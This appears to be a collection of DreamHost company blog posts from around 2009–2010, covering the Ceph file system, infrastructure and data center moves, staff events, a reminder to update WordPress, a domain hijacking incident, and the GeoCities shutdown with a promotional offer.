Happy New Year-Zealand!

Just like Dallas did, I’d like to welcome everybody to the new year too… Zealand-style!

Yup, all FOUR DreamHost honchos – and Prince William – are yukking it up this week in Wellington for a freaking linux conference.

What are we, a bunch of neckbeards?!

Don’t worry, we’re not just going for fun. Sage is actually giving a talk on Wednesday (a.k.a. Tuesday to you Yanks) about Ceph, the open source infintely-scalable file system based on his PhD, which is actually super AWESOME, and is finally getting close to stable (we’ve been testing it internally for a few weeks now)!

Once the talk is done, we’ll post a link to it for more info, but in the meantime, you can register to get included in a beta test on a hosted implementation of it by emailing beta@ceph.newdream.net!

We’re also interested in hearing from any hardware vendors who might like to work with us on offering Ceph on their products.. email beta@ceph.newdream.net too!

Finally, if you’re going to be at the conference look for us (wearing our DreamHost t-shirts), and if not look for us as extras in The Hobbit!

A New Year’s Resolution

We have always worked hard to provide the best hosting service you can get for the money and we’ve been pioneers in offering many unique features such as Jabber IM, WebDAV, Subversion, Phusion Passenger, and our One-Click Installer for popular web applications.  We love to play with all the newest Internet toys and provide them for you to play with also.  Our attention to all the “shiny new things” can sometimes distract us from the more fundamental aspects of our service, though, and that’s why…

The DreamHost New Year’s Resolution for 2010 is a renewed focus on performance and reliability.  Over the last few years, we have grown in leaps and bounds and our customers’ expectations of our service have grown along with it.  We have not always kept up with those expectations, and we need to put some energy into improving that.

Yesterday, I spent some time looking back at the past few years.  We’ve had our share of ups and downs and many of our loyal customers have stuck with us through it all.  We couldn’t ask for a better group of people to work for than you.  So, looking forward, we’re going to update our methods and systems to provide a more consistently high level of service.

Here’s some of the areas we’ve already improved on, and things we will be doing over the next several months…

• We are now using a more flexible storage system so we can easily keep up with your awesome demand for data storage.
• Additionally, our open-source next generation file system called Ceph is coming along nicely and will provide a great platform for our network storage needs in the future.
• A lot of work has been done over the past year on optimizing and better organizing our network infrastructure.  Everything being done is laying the groundwork for major future improvements in the works.
• By purchasing a major interest in Alchemy, our data center provider, we can rest easy knowing the relationship will be mutually beneficial for a long time.  Our system administrators are very happy to know that we will not be moving data centers again for the forseeable future.  We have plenty of spare data center space available and will be able to grow capacity at a comfortable pace.
• Our network connectivity has always been redundant but we’re going to kick that up another notch this year as we go multi-homed.  Once this is in place we’ll be able to withstand the loss an entire network point of presence without losing connectivity.
• We developed an internal system to help us manage individual server stability by improving communication and reducing wasted effort.
• We have deployed Ksplice Uptrack across our system, making mass server reboots for kernel security holes a thing of the past.  The Linux kernel has been hit with a couple of high profile security exploits in the past few months and we found ourselves scrambling to patch and reboot quickly.  Never again!
• We have a new mantra, “test, test, test”.  Some amount of testing has always been part of our procedures, but we are now making testing a fundamental component.
• Increased focus is being put on optimizing our procedures at all levels to reduce duplicated effort and errors, while also increasing accountability.  This is not something that happens overnight and it will be an ongoing process.

Having now solved our most distracting problems from the recent past, DreamHost is now positioned to tackle the future better than at any time in our history.  It won’t be easy but we have the best team in the business and a few new tricks up our sleeves on top of it.  And with that, we wish you all a very happy new year and a great 2010 (twenty-ten!).

A Brief Look Back

As the end of the decade approaches, it’s a perfect time to look back and reflect on the past.  What has gone wrong and what has gone right?  We have a way of making waves, even if not always in the way we might like.  Here’s some reflections on some of those waves.

Power

Starting about 4 years ago, we were battling a problem of power constraints at our data center.  That led to a general inability to provision data center space the way we wanted to and we had to become very creative to manage our system.  The biggest problems from that time were two unplanned power outages of the entire building followed by an emergency planned outage 8 months later.  Power is one of the lifelines of a data center and not being able to rely on it can be a major distraction.  It was during that period that we established our off network status site (dreamhoststatus.com), which has proven to be a great asset.  Those issues are long behind us now, and looking forward we have plenty of power capacity.

Network

Pretty much in the middle of the power situation we were also hit with a networking problem between our two core routers that was causing serious website slowness.  We had grown so quickly that nobody really understood exactly how the network devices were interacting.  That combined with the distraction of the power situation made it take way too long to resolve the problem.  From that, we learned the hard way what we needed to do to improve and maintain the network.  Things have improved, but we were still recently hit with a couple network outages.  They were caused by human errors and weaknesses in the procedures we had in place.  We have already refined those procedures and future improvements to the networking infrastructure will also help to mitigate the potential for human error to result in outages.  This is still very much a work in progress but huge steps have been taken already and more are still to come.

Data Storage

The next major hurdle we faced involved our data storage infrastructure.  In the early days we had migrated from disks inside each server to network attached storage for the added redundancy and to allow us to better utilize our available storage.  At that time hard drives were only 9 gigabytes and our users were generally only using a hundred megabytes or less of space.  Boy, have things changed!  We now have users with multiple terabytes of data and even everyday websites sometimes have multiple gigabytes of files.  The huge growth of online video and the popularity of digital photography increased the demands on our storage infrastructure by a couple orders of magnitude over the years.  To accommodate that growth, our simple system of file servers had grown to a large network of over 100 individual servers that we had to constantly juggle data between.  The cost per gigabyte for our Network Appliance based system had also not come down nearly as fast as the per-user storage requirements had gone up, but we had become reliant on network storage for things such as backups, rapid recovery from server failures, and seamless sharing of data between separate hosting and email accounts.  We were addicted to network storage, and our next couple of major performance problems came from gloriously failed experiments with other storage products.  One of them was cheap and unreliable, and the other was expensive and unreliable.  We couldn’t win!  (Note that we haven’t used either of those for awhile so both of them may work better now than they did for us a couple of years ago.)

Through those years that our addiction to network storage had developed, a shift had happened that we hadn’t noticed.  First, individual hard drives had dropped like a rock in price and skyrocketed in capacity.  Second, users were consuming data at such a rate that evenly utilizing our available storage was no longer a problem.  Switching back to locally installed storage was the answer we had been looking for!  We started experimenting with the new server architecture and developing a backup strategy.  Then once the pieces were all in place, we started moving forward with it.  So the storage bottleneck was resolved and we had a clear path forward, but we were still throwing out a lot of knowledge we had learned over the preceding decade and were starting over from scratch in a lot of ways.  With every technology shift comes with it a new set of problems and this one was no exception.  It’s been about a year and a half since then and we’re already on our fourth revision of the server configuration (three different RAID cards with two different configs).  The current hardware has been working out quite well but we’re doing some testing to see if it can be optimized further.

Looking into next year, our core technology systems are under control and we’ll be able to focus more on improving the service than we have in years.  The future looks very bright…. but more on that tomorrow!

Thanksgiving Travel

We got our holiday traveling done early this year!

While everybody else is stuck spending the night at the airport, trying to figure out how to best spend their $15 meal voucher, catching H1N1 from the crazy pig farmer snoring next to them, all the DreamHost servers are going to be snug as a bug in a lug in their NEW CAR!

I mean NEW DATA CENTER!

That’s right, we (more or less) completed the mother of all DreamHost data center moves this last week, and if you’ve been with us more than a couple of months, you know the mother of all DreamHost moves must have been a DOOZY.

In the last decade or so, we’ve probably moved data centers an average of once a year… let’s see, there’s been:

CyberG8T => caput (we called them “CyberGate-tuh”)
Commotion => caput
SoftAware => acquired by Digital Island
Digital Island => acquired by Cable and Wireless
WebVision => caput
Exodus => acquired by Cable and Wireless
Cable and Wireless => IPOed and got lame
Switch and Data => IPOed and got lame
Alchemy => still there!
NaviSite => dumped their LA data center on Net2EZ
Net2EZ => we just moved out!

We’ve moved data centers for a multitude of reasons, but we always knew in our heart of hearts “this is the LAST time”.

Recently it’s become hard, harder, and even MORE harder to do these moves. Not just because we’re getting old and flabby, but because servers in general are getting smellier as well as more sharp and covered in razor blades.

Not really. Really because the number of servers has become more, more-er and even MORE more-er-er! In fact, we’re a little bit of an oddity among colocation customers. We’re a big customer, but we’re very price conscious (because unlike say a law firm, colo for us is a variable cost) … and usually in business when that’s the case you vertically integrate.

We’ve been considering getting our own data center for several years actually! It just never quite made sense. We just weren’t quite big enough to justify the humungo capital outlays, and we just didn’t quite have any expertise in the electricity and cooling side of things. And besides, the market for colo had gotten so soft that the prices we were getting from all the competing providers made it REALLY not worth getting our own.

Of course, those prices are always “introductory”… and once that initial contract is up, they know they’ve got you hooked and it’s time to jack up the rates!

Which is why we went into the Garland Building in the first place… I figured with four competing colo providers all on the same floor, we could always play them off of each other; threatening to move down the hall if one didn’t match a competitor’s offer.

That worked, more or less. Of course, sometimes they called your bluff, and it was time to put up or shut up, and actually go ahead and move those half-ton racks of servers down the hall!

Never ones to be stared down, we got pretty good over the years at moving data centers. In fact, being unafraid to move data centers may actually have turned out to be one of our biggest competitive advantages.

Of course, it may have been one of our biggest distractions too. Moving data centers has become such a huge deal that the planning for moving even just a third of our footprint now occupies our entire system admin team for the better part of a year.

Which is why 2009 marked the year in which DreamHost, web master of so many’s domains, finally became masters of their OWN domain… by taking a large equity stake in our primary data center facility, Alchemy Communications!

We consummated the deal back in May, and since then have been planning (and carrying out) the move out of Net2EZ and into what is, finally, our “own” data center. The climax of which occurred this Saturday when we finally physically moved out the remaining now-defunct “spunky” servers out to the data center we have at LAX.

Just in time for them to catch all their flights home for the holidays. And the flu.

P.S. I’d like to acknowledge all the great work Micah, Patrick, Jeremy K., Mike H., Jordan, Mike P., Terri, Jeremy H., Kyle, RK, Leon, Douglas, Brett, Sandon, Robert, Anthony, and Ken did in making this quite possibly our best and quite possibly our last move ever!

Nightmare Host 2009

We had our annual Halloween party this Saturday, at the Beverly Wilshire hotel, famous from such movies as Pretty Woman, Beverly Hills Ninja, and Upscale Bangers 38.

Clearly, there were a lot of great costumes, none more betterer than the classic “Sunburned Surf Vampire”.

Well, there was one more betterer. We had a costume contest, and Javier’s ended up getting second place:

And first.

NOBODY else got a single vote!

(Please turn head to left to watch video.)

It had a cup holder!

Update Your Wordpress!

We’re big fans of Wordpress here at DreamHost.  It powers this website and many of our own personal websites.  It’s also probably the number one most popular web application running on our servers.

It’s so popular in fact that it’s increasingly become the target of security exploits.  Fortunately for all of us, the Wordpress coders have done a good job patching up security holes quickly once they’ve been discovered.  Unfortunately, that doesn’t matter one bit if you don’t update the copy of Wordpress running your website.

If you are a lucky DreamHost customer, installing and updating Wordpress is very easy.  You really have no excuse for not updating.

We provide a one-click installer and upgrader for Wordpress (and several other popular web applications) making it as simple as clicking a button in our web panel.  We even let you request that we email you whenever a new release is available so you don’t have to keep track of it yourself.

If that is still too much effort and you are willing to give up some flexibility, we also provide what we call an easy one-click installer, which is really just a fully managed and hosted version of Wordpress that we update and maintain for you.  Even better, you can get this service from us absolutely free from DreamHost Apps (which also includes a bunch of other popular web apps for the same $0 price tag).

Why Not?

The only reason I can think of to not upgrade Wordpress as soon as it is released is the worry that it will break some plugin you’re using.  While that is a very valid concern, you should really consider how much those pesky plugins are worth to your website.  Are they worth the days of time it might take you to clean up a hacked website?  Are they worth the shame you would feel if your hacked website is used as a base to infect hundreds or thousands of other websites?  These are very real risks.  If you are using a plugin that prevents you from easily upgrading your Wordpress install, please consider abandoning it or finding a replacement that’s more robust and compatible.

Do It!

So, long story short:  UPDATE YOUR WORDPRESS RIGHT NOW. There is a major Wordpress hack going around targeting older versions of Wordpress.  The latest version is unaffected so if you have been a good upgrader you are safe!  A couple of big name bloggers (here and here) got hit recently, and it can also happen to you.  In fact, it might have happened already!  Check this post from Lorelle on Wordpress with lots of gorey details about the hack and to find out if you may be a victim.

The New Dream Machine

You may remember Dream Machine from such sports as basketball, basketball, softball, and basketball.

But what you may NOT remember is that we got in trouble with our building when they saw our elevator lobby table tennis shenanigans.

And what you couldn’t possibly remember, is that Micah and I have been working on our game since then and now are officially USATT rated (771 and 720 respectively).

Which is why I’m pleased to introduce for the first time… Dream Machine Table Tennis!

What’s it to you?

Well, we’re headed to the $100,000 Hard Bat Classic this weekend in Vegas, and anybody who shows up to cheer (either of) us on will get $1 in DreamHost credit for every point each of us score.. THROUGHOUT THE ENTIRE TOURNAMENT!

That could very well end up being THOUSANDS of dollars of DreamHost credit .. or very well end up being TENS of dollars of DreamHost credit!

To illustrate, I will now relay to you a little story of the LAST tournament we went to, less than a month ago…

The California State Open

The way USATT tournaments generally work is that everybody is grouped into four person round-robin contests, where everybody plays everybody else, and only the one winner advances to the “playoff” bracket.

When I showed up for my under-1100-rating tournament, I found my bracket on the board… and things didn’t look too good:

Jones, Josh 725

Lee, Kenneth 927

Liao, Hung Ju (Andrew) 844

Lu, David 958

Hmm, Jones vs. Lee, Liao, and Lu. Not to be prejudiced, but I was nervous.

And in fact, it wasn’t good… I ended up losing all three matches, although I did win one game at least vs. Ken.

Overall, it was still a lot of fun and afterwards I got everybody from our round robin together to take a picture to commemorate their victories:

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

See you tomorrow at the Venetian!

Tuz Tatz

Way back in March, one of our sysadmins Terri attended the Australian linux conference to give a talk about sysadminning at DreamHost as well as the open source distributed file system Sage’s been working on called Ceph!

Blah blah blah, on to the IMPORTANT stuff.

Apparently there’s some country or island or state or something next to Australia called “Tasmania”. And just like Australia, they’ve got totally fake animals and plants growing all over. The place is just lousy with them.

ALSO apparently, one of those crazy fauna known as the “Tasmanian Devil” has started getting FACE CANCER and is now totally endangered!

When Linus Torvlads heard about this, he was so ENRAGED he decided to do something about it. In linux-speak, that means he shaved the beard off some nerd.

He also irrationally and temporarily changed the linux logo from tux to “tuz” for kernel release

This had the unintended and unfortunate side-effect of raising awareness for the SAVE THE TASMANIAN DEVIL fund.

Not to be outdone, Terri and another one of our resident nerds, Jeremy, decided to show their RAGE as well; by getting “tuz” tattoos.

They also forced me to make this blog post about it as well as change the charity that we match donations to to be that same SAVE THE TASMANIAN DEVIL fund.

I said fine, but I’m waiting a couple months so it’s not so topical. And to see if those tattoos really are permanent.

They were. So far. So, they also made me make a special sale where anybody who signs up with the promo code SAVETHEDEVIL gets $50 off PLUS we donate another $50 to save these disgusting little beasties!

I’m enraged.

The saddest voicemail you’ll ever hear

While we do offer telephone-based technical support in the form of callbacks, we don’t have a public phone number that customers can dial for technical support.

We do have a phone number, but it’s reserved for vendors and other specific applications – not technical support.

From time to time customers may find this number and they often leave irate/angry/pleading messages for assistance. We haven’t had one in a while, but this morning we received a voicemail that melted our hearts and moistened our eyeballs.

(We’ve obscured his domain name to protect his identity.)

903k, .wav file
– removed –

This customer of ours had their domain registration transferred away from DreamHost to another registrar (in this case, GoDaddy.com) without their consent. This can only happen if an unauthorized party gains access to our customer’s account control panel to authorize the transfer, and we’ve indeed logged the actions and IP address of this individual.

The customer may have used an insecure password, been infected with a password-stealing keylogger, or may have simply fallen prey to a phishing scheme.

We’ve done all that we can do in situations like these – we’ve advised our customer to begin the dispute resolution process with the domain’s current registrar.

In the end, he should be able to get his domain back. Unfortunately it’ll take time and a fair amount of money, depending on how receptive the current registrar is to his situation.

To help soften the blow we’ve sent him a huge bouquet of flowers to help get him through this difficult time.

Update 5/4: We didn’t realize this would strike such a chord with so many people and have removed the anonymized voicemail from this blog post. We’ve been working with this customer to proceed through the UDRP and are confident a resolution is near. This should serve as a good reminder that you should always be very careful about disclosing your passwords to anyone on the Internet.

They’re Internet History

Well, that’s it. Yahoo! is finally shutting down GeoCities.

This is a sad moment for the Internet in general, and it’s especially sad for us. I’ve always felt a sort of special connection with GeoCities.. lemme ’splain you.

GeoCities was one of the first web hosts on the Internet, being started as “Beverly Hills Internet” in 1994. About four months before we started New Dream Network, in December of 1995, they became “GeoCities” and started offering FREE hosting.

By the time I had heard of them, we were already offering some PAID hosting, and I remember thinking something along the lines of “Damn it! They’re cheating!”

How could a bunch of (completely) broke college kids afford to compete with somebody just giving away hosting? At the time, I figured it could never last.

I was right.

15 years and $3.57 BILLION later.

But that’s not the only reason GeoCities has a special place in our heart.

The main reason is WebRing!

WebRing was a free service for people with related sites to automatically trade links, written by co-founder Sage (it’s not just me and Dallas around here!) back in 1994, while he was still in high school!

A couple of years later when he ended up at our college and we conned him into our play-company, we helped him run WebRing on our server(s).

WebRing itself never officially became a part of New Dream Network, since Sage had started it on his own years before. What we got out of it was Sage wrote DreamBook for NDN and put links to it all over WebRing!

In 1997, WebRing was starting to grow too big for us full-time college students to handle, especially with our newest little project taking off.

So, Sage got Starseed, Inc. to take it over for him. A friend of his from high school worked there and they made a deal where Sage got a percentage of Starseed, an annual “consulting” stipend, and certain creative controls, and they took over everything to do with WebRing.

It didn’t take long for Charley, the head of Starseed, to figure out that the best chance to make the most money off of WebRing was to sell it and sell it fast!

Greetings Geocities

And, sell it he did… to GeoCities!

I believe originally the offer they were going to accept was around $1 million.

However, irrational exuberance was on Charley’s side, and the timing couldn’t have been better for everything that happened next.

At the last minute, another bidder came to the table.. GeoCities however, decided they simply must have WebRing, and closed the deal at around $3.5 million!

Of course, this was all for GCTY stock options, and I’m sure they (rightly) figured that it wasn’t real money anyway.

Now the Starseed team (plus Sage) just had to wait and see which came first, the vesting of their options or the popping of the bubble…

The Vesting

Well, while everybody was nervously holding onto their approximately 1% ownership of GCTY, a funny thing happened. In January 1999, Yahoo! bought GeoCities for $3.57 billion, putting GCTY at more than ten times what it was when they did their deal!

And so, Sage’s options in GCTY were now converted over to YHOO. He still had another year before he could cash them all in though. And things were already a teeeeeensy bit over-valued.

Luckily, by the time Sage was able to cash out (and he did) in early 2000, Yahoo! had tripled yet again… meaning that Yahoo! had effectively purchased little old WebRing for about $100,000,000!

The Downfall

So, Yahoo set a team onto merging WebRing into their system.

By 2001 they were done, and everybody hated it.

Users were dropping faster than YHOO stock, and in 2002 an engineer from GeoCities bought WebRing back from Yahoo for an undisclosed sum (rumored to be around $10,000!)

Since then, I don’t really have any inside information on what’s gone on with WebRing. Just from the Internet Archive history, it looks like he more or less kept the Yahoo look and ran it “respectably” until around 2005:

… when they started to really pimp it out for ads!

Then in 2007.. Social Networking!

And today… Web 2.0!

Reminiscing

WebRing’s been around just about as long as the Web, and now that I ponder it, has been a sort of microcosm of the Web the whole time.

It went from a tiny ad-free community service, to hyper-growth, to showing ads, to being acquired for an INSANE price, to being forsaken, to doing anything to survive, to “social networking”, to “web 2.0″, to today!

Back in 1998, who would have thought WebRing would outlast GeoCities? Who would have thought DreamHost would outlast GeoCities?

DreamHost acquires Geocities

Well, not really. The thought sort of crossed my mind, “If they sold WebRing to that one guy, maybe they’d sell GeoCities to us!”

But then I realized.. Yahoo understands the only real value in GeoCities left is those millions of potential upgrades to PAID hosting.

If you go to GeoCities right now, Yahoo! has a big ad for their ($12/month) hosting.. with the first three months half off!

Whoop dee do.

“In honor of WebRing” or something, we are now offering to the first 1000 GeoCities users who sign up TWO YEARS of a completely free DreamHost account (including domain registration)!

No strings attached.

All you have to do is verify you are an existing GeoCities customer by creating a page on your GeoCities account (or editing an existing page) to have the phrase “I’m off to DreamHost!” on it!

Then when you signup for us, simply put the full url to that page as your “promotional code” and you’ll get a 2 year plan (normally $214.80) free!

And we promise to never shut down.